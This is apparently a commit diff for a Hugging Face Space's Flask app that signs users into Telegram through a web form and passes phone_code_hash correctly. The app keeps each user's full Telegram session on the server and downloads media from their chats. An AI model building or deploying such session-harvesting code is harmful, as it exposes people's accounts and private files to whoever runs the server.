Spaces:
Paused
Paused
Update app.py
Browse files
app.py
CHANGED
|
@@ -89,6 +89,8 @@ HTML_TEMPLATE = '''
|
|
| 89 |
</div>
|
| 90 |
<script>
|
| 91 |
let phone = '';
|
|
|
|
|
|
|
| 92 |
async function startLogin() {
|
| 93 |
phone = document.getElementById('phone').value;
|
| 94 |
const response = await fetch('/login', {
|
|
@@ -99,6 +101,7 @@ HTML_TEMPLATE = '''
|
|
| 99 |
const result = await response.json();
|
| 100 |
alert(result.message);
|
| 101 |
if (result.success) {
|
|
|
|
| 102 |
document.getElementById('code').style.display = 'inline';
|
| 103 |
document.getElementById('submitCode').style.display = 'inline';
|
| 104 |
}
|
|
@@ -109,7 +112,8 @@ HTML_TEMPLATE = '''
|
|
| 109 |
const response = await fetch('/login', {
|
| 110 |
method: 'POST',
|
| 111 |
headers: { 'Content-Type': 'application/json' },
|
| 112 |
-
|
|
|
|
| 113 |
});
|
| 114 |
const result = await response.json();
|
| 115 |
alert(result.message);
|
|
@@ -167,6 +171,7 @@ def login():
|
|
| 167 |
phone = data.get('phone')
|
| 168 |
code = data.get('code')
|
| 169 |
password = data.get('password')
|
|
|
|
| 170 |
step = data.get('step')
|
| 171 |
session_file = f"{SESSION_DIR}/{hashlib.md5(phone.encode()).hexdigest()}.session"
|
| 172 |
|
|
@@ -175,11 +180,15 @@ def login():
|
|
| 175 |
try:
|
| 176 |
if step == 'start':
|
| 177 |
await client.connect()
|
| 178 |
-
await client.send_code_request(phone)
|
| 179 |
-
|
|
|
|
| 180 |
elif step == 'code':
|
| 181 |
await client.connect()
|
| 182 |
-
|
|
|
|
|
|
|
|
|
|
| 183 |
with sqlite3.connect(DB_PATH) as conn:
|
| 184 |
c = conn.cursor()
|
| 185 |
c.execute('INSERT OR REPLACE INTO users (telegram_id, username, phone, session_file) VALUES (?, ?, ?, ?)',
|
|
@@ -255,7 +264,7 @@ def get_files(user_id):
|
|
| 255 |
async for message in client.iter_messages(dialog, limit=10):
|
| 256 |
if message.media:
|
| 257 |
file_path = await client.download_media(message, DOWNLOAD_DIR)
|
| 258 |
-
if file_path:
|
| 259 |
files.append({'chat': dialog.title, 'file': Path(file_path).name})
|
| 260 |
finally:
|
| 261 |
if client.is_connected():
|
|
|
|
| 89 |
</div>
|
| 90 |
<script>
|
| 91 |
let phone = '';
|
| 92 |
+
let phoneCodeHash = ''; // Added to store phone_code_hash
|
| 93 |
+
|
| 94 |
async function startLogin() {
|
| 95 |
phone = document.getElementById('phone').value;
|
| 96 |
const response = await fetch('/login', {
|
|
|
|
| 101 |
const result = await response.json();
|
| 102 |
alert(result.message);
|
| 103 |
if (result.success) {
|
| 104 |
+
phoneCodeHash = result.phone_code_hash; // Store the received hash
|
| 105 |
document.getElementById('code').style.display = 'inline';
|
| 106 |
document.getElementById('submitCode').style.display = 'inline';
|
| 107 |
}
|
|
|
|
| 112 |
const response = await fetch('/login', {
|
| 113 |
method: 'POST',
|
| 114 |
headers: { 'Content-Type': 'application/json' },
|
| 115 |
+
// Pass phone_code_hash here
|
| 116 |
+
body: JSON.stringify({ phone, code, phone_code_hash: phoneCodeHash, step: 'code' })
|
| 117 |
});
|
| 118 |
const result = await response.json();
|
| 119 |
alert(result.message);
|
|
|
|
| 171 |
phone = data.get('phone')
|
| 172 |
code = data.get('code')
|
| 173 |
password = data.get('password')
|
| 174 |
+
phone_code_hash = data.get('phone_code_hash') # Get phone_code_hash from request
|
| 175 |
step = data.get('step')
|
| 176 |
session_file = f"{SESSION_DIR}/{hashlib.md5(phone.encode()).hexdigest()}.session"
|
| 177 |
|
|
|
|
| 180 |
try:
|
| 181 |
if step == 'start':
|
| 182 |
await client.connect()
|
| 183 |
+
sent_code = await client.send_code_request(phone)
|
| 184 |
+
# Return phone_code_hash to the frontend
|
| 185 |
+
return {'success': True, 'message': 'Code sent to your Telegram', 'phone_code_hash': sent_code.phone_code_hash}
|
| 186 |
elif step == 'code':
|
| 187 |
await client.connect()
|
| 188 |
+
if not phone_code_hash:
|
| 189 |
+
return {'success': False, 'message': 'phone_code_hash is missing for code step.'}
|
| 190 |
+
# Pass phone_code_hash explicitly
|
| 191 |
+
me = await client.sign_in(phone, code, phone_code_hash=phone_code_hash)
|
| 192 |
with sqlite3.connect(DB_PATH) as conn:
|
| 193 |
c = conn.cursor()
|
| 194 |
c.execute('INSERT OR REPLACE INTO users (telegram_id, username, phone, session_file) VALUES (?, ?, ?, ?)',
|
|
|
|
| 264 |
async for message in client.iter_messages(dialog, limit=10):
|
| 265 |
if message.media:
|
| 266 |
file_path = await client.download_media(message, DOWNLOAD_DIR)
|
| 267 |
+
if file_path:
|
| 268 |
files.append({'chat': dialog.title, 'file': Path(file_path).name})
|
| 269 |
finally:
|
| 270 |
if client.is_connected():
|